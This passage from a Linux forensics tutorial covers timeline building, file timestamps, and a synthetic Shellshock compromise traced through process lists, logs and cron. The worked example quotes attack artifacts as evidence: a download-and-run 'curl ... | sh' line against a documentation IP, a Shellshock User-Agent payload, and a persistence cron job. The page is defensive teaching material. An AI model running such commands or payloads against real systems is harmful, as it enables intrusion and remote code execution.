Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (zgrep -F -C3 suspicious.example memory.strings.gz) for context.

Step 6: Building a timeline

Investigations get clear once events are in one ordered list. A timeline combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.

Quick version

# every file changed on 10 Sep, oldest first: change time, modify time, owner, path
sudo find / -xdev -type f -newermt '2026-09-10 00:00' ! -newermt '2026-09-11 00:00' \
     -printf '%C+ %T+ %u %p\n' | sort

stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times

# files changed after a file you already know the attacker touched
sudo find / -xdev -newer /etc/passwd -type f -ls 2>/dev/null
ls -lArt /etc                      # a directory sorted by modification time, oldest first

The full method (The Sleuth Kit)

For a real investigation, use The Sleuth Kit. You collect the raw timestamps into a "body file" (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.

# 1. one body file per file system ("-m /" = the mount point prefix to put on each path)
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip > bodyfile-root.gz
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip > bodyfile-boot.gz     # -o = the partition's start sector, from mmls

# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 > timeline.csv

Open the CSV in a spreadsheet or a timeline viewer. The date argument means "from this date forward"; use a range such as 2026-09-01..2026-09-15 to limit it further. Then start from pivot points: places in the timeline you already have reason to look.

• The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.
• Modification times on /etc/passwd and /etc/shadow if accounts were added.
• An alert, a log entry or a suspicious login.
• Files created just before a persistence mechanism (a cron entry, a service unit) was added.

Understanding Linux timestamps

Files have four time values:

Name	Meaning	Notes
mtime (modified)	When the contents last changed	Easy for an attacker with root to set to any value with touch -d.
atime (accessed)	When the contents were last read or run	Linux usually mounts with relatime, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.
ctime (changed)	When the file's metadata last changed (permissions, owner, name, contents)	Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been "timestomped." But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as debugfs).
btime (birth/creation)	When the file was created	Recorded by ext4 and shown by stat ("Birth"); not available on every file system or tool.

Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits /etc/shadow and a user later changes a password, the attacker's timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package's own program during an update is not.

For those reasons, treat a timeline as a guide to evidence, not evidence itself. It points you to the files, logs and memory artifacts that you then examine and can report.

Some other useful timing facts:

• Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation's local time zone unless you tell them otherwise.
• The SSH host keys under /etc/ssh are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)
• Check the system's own clock and time zone against its logs before you compare times across sources.

A note on deleted files

Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see reading the process list above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.

Worked example

This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.

Report: the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.

1. Volatile state. The process tree shows a shell started by the web server, and a process nobody can identify:

www-data  4108  apache2 -k start
www-data  4121   \_ sh -c curl -s http://203.0.113.50/u.sh | sh
www-data  4188  /var/tmp/.cache/update

$ sudo ss -tnp state established
Recv-Q Send-Q  Local Address:Port    Peer Address:Port   Process
0      0       10.0.0.5:48822        203.0.113.50:4444   users:(("update",pid=4188,fd=3))

Already there are three clues: a web-server child running a downloader, a program in a hidden directory under /var/tmp, and an outbound connection owned by that program.

2. Way in. The access log around the time process 4121 started (14:02 UTC) holds:

198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] "GET /cgi-bin/status.sh HTTP/1.1" 200 412 "-" "() { :;}; echo; /usr/bin/id"

A () { in the User-Agent, sent to a CGI script, is a Shellshock attempt. The 200 and the timing (the shell appears seconds later) suggest it worked. The client address, 198.51.100.7, is the same one that was guessing SSH passwords minutes earlier in auth.log, so the attacker was probing more than one way in.

3. Persistence. The cron directory for the web user contains a job that restarts the unknown program every minute:

$ sudo cat /var/spool/cron/crontabs/www-data
* * * * * /var/tmp/.cache/update >/dev/null 2>&1

Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of /proc/4188/exe and hashes it.

4. Timeline.

Time (UTC)	Event	Source
13:58 to 13:59	Repeated SSH failures from 198.51.100.7, then a successful login as deploy	auth.log
14:02	Shellshock-style request against /cgi-bin/status.sh	access.log
14:02	apache2 spawns a shell that downloads and runs a script	process tree
14:03	/var/tmp/.cache/update created; cron entry added	file times, crontab
14:03 onward	Outbound connection to 203.0.113.50:4444	ss

5. Conclusions and open questions. The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the deploy SSH login also the attacker (check that account's history and keys)? What did the attacker reach with the web user's permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.

After the analysis

• Contain: isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.
• Eradicate and recover: if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.
• Reset credentials and keys that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.
• Close the way in: patch the vulnerable software, disable unneeded services (see Introduction to Service Auditing), and tighten SSH (key-only login, no root login, rate limiting).
• Write it up: the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.

Quick reference: symptom to first check

Symptom	First place to look
Unexpected logins	last -aiF, auth.log (or secure), journalctl -u ssh
Web server slow or making outbound connections	Process tree (ps --forest), ss -tnp, web access and error logs
A process you cannot identify	/proc/PID/exe and cwd; is the executable deleted, under /tmp, /var/tmp or /dev/shm, or in a hidden directory?
A user or service you do not recognize	/etc/passwd (UID 0 and login shells), /etc/shadow, sudoers
A program that keeps coming back	crontabs, systemctl list-timers, enabled unit files, shell start-up files, scripts those run
Someone can log in without a password	authorized_keys files, sshd_config
Commands behave strangely or disagree	debsums or rpm -Va, /etc/ld.so.preload, a memory image with Volatility, a trusted boot disk, rkhunter as a secondary check
Logs look too clean	File sizes and mtimes in /var/log, remote log server, journalctl --verify
"What happened, and in what order?"	A timeline: find -printf for a quick look, TSK fls plus mactime for a full one
Machine is off, or you have only a disk	Mount the image read-only (ro,noexec,noload) and work through steps 2 to 6 on the mount

Practicing safely

The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the defender side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.

For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi's team at Champlain College for a digital forensics workshop, available from the LinuxForensics repository on GitHub. Check that repository's own terms before copying or redistributing anything from it.

Credits and license

Parts of this page are adapted from Linux Forensics (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the Creative Commons Attribution-ShareAlike 4.0 International License. The original course slides are available from the Internet Archive.

Sources and further reading

• Hal Pomeranz, Linux Forensics. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.
• MITRE ATT&CK: Linux matrix. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.
• NIST SP 800-61 Rev. 3. Incident response recommendations from the U.S. National Institute of Standards and Technology.
• OWASP Top 10. The most common web application risks, including injection.
• CVE-2014-6271 (Shellshock) in the National Vulnerability Database.
• Tools: UAC (live collection), AVML and LiME (memory capture), Volatility 3 (memory analysis), The Sleuth Kit (disk and timeline analysis), libewf (E01 images), bulk_extractor (data carving).
• Linux man pages. Reference for ss, find, stat, journalctl, last, ausearch, mount, losetup and the other commands used above.